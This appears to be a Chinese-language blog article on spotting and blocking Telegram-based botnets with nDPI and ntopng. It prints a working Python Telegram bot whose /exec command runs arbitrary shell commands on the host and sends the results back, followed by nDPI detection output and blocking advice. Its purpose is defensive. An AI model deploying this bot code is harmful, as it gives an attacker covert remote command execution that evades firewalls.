如何识别和阻止基于电报的僵尸网络

时间:2022-07-24
本文章向大家介绍如何识别和阻止基于电报的僵尸网络,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

僵尸网络是使用命令和控制范式在网络上运行恶意软件的一种流行方法。僵尸网络使用的流行协议包括IRC和HTTP。大多数IDS只要能够检查网络流量,就可以检测到僵尸。当僵尸程序转向加密和基于云的协议(即您无法使用简单的基于IP的ACL阻止)时,这是网络管理员的盲点。流行的Telegram消息传递系统允许人们在几分钟内创建一个僵尸,如下面的代码摘录所示:

bot = Bot(token)


def run():
    """ Runs the function used to start the bot.
    """

    MessageLoop(bot,
                { 'chat': on_chat_message }
                ).run_as_thread()

    print('Listening ...')

    while 1:
        time.sleep(10)

####################################################################

def help(bot, chat_id):
    bot.sendMessage(chat_id, 'Available commands:')
    bot.sendMessage(chat_id, '/exec    Execute remote command')

####################################################################

def run_command(command):
    p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    return p.stdout.read().decode('utf-8')

####################################################################

def on_chat_message(msg):
    """ Manages the predefined commands of the telegram bot.

    :param msg: message received from telegram.
    """

    #print(msg)
    content_type, chat_type, chat_id = glance(msg)

    #
    # Check if the content_type of the message is a text
    if content_type == 'text':
        txt = msg['text'].lower()

        #
        # Switch construct to manage the various commands
        if txt.startswith("/exec"):
            cmd = txt[6:]
            bot.sendMessage(chat_id, 'Executing command ['+cmd+']...')
            bot.sendMessage(chat_id, run_command(cmd.split(' ')))
        else:
            help(bot, chat_id)

run()

如你所见,你可以在远程系统上启动僵尸并执行任意命令。

假设现在你的一个同事让这个简单的僵尸在网络后面运行。防火墙会将此流量视为端口443或上的类似TLS的流量,并将其放行。

从上图可以看出,这个电报流量看起来像TLS,但它不是TLS,你可以利用证书、JA3等方面的检测。你可以想象在网络上运行这些简单工具的后果。从本质上讲,你的网络已经暴露了,而防火墙、流行的非基于DPI的IDS(如Suricata或Zeek)无法对这一点做什么。

幸运的是,nDPI可以检测到它

Detected protocols:
    Telegram             packets: 156           bytes: 44034         flows: 2            


Protocol statistics:
    Acceptable                   44034 bytes

    1    TCP 192.168.1.110:52671 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][76 pkts/9307 bytes <-> 74 pkts/33973 bytes][Goodput ratio: 46/86][3.75 sec][bytes ratio: -0.570 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 58/59 1817/1852 264/272][Pkt Len c2s/s2c min/avg/max/stddev: 66/70 122/459 846/1294 133/446]
    2    TCP 192.168.1.110:52672 <-> 149.154.167.91:443 [proto: 91.185/TLS.Telegram][cat: Chat/9][4 pkts/445 bytes <-> 2 pkts/309 bytes][Goodput ratio: 38/55][0.07 sec][bytes ratio: 0.180 (Mixed)][IAT c2s/s2c min/avg/max/stddev: 0/36 23/36 35/36 16/0][Pkt Len c2s/s2c min/avg/max/stddev: 66/74 111/154 235/235 72/80]

所以我们所有的ntop工具(如ntopng、nprobe……)都可以处理这个问题。现在你已经意识到你不再是闪闪发光的了,你有两个选择:

  • 可见性(例如,使用ntopng)
  • 使用ntopng Edge阻止此流量。

在ntopng中,您可以指定某个设备可以运行哪些协议

因此,您可以在关键主机(如服务器)运行不需要的协议时产生警报,这包括nDPI支持的所有协议,因此包括Telegram。

如果你想看到更多安全导向的警报,你可以自定义用户脚本并启用你感兴趣的行为检查。

我们希望这可以帮助您保护网络安全,并且网络管理员不再盲目。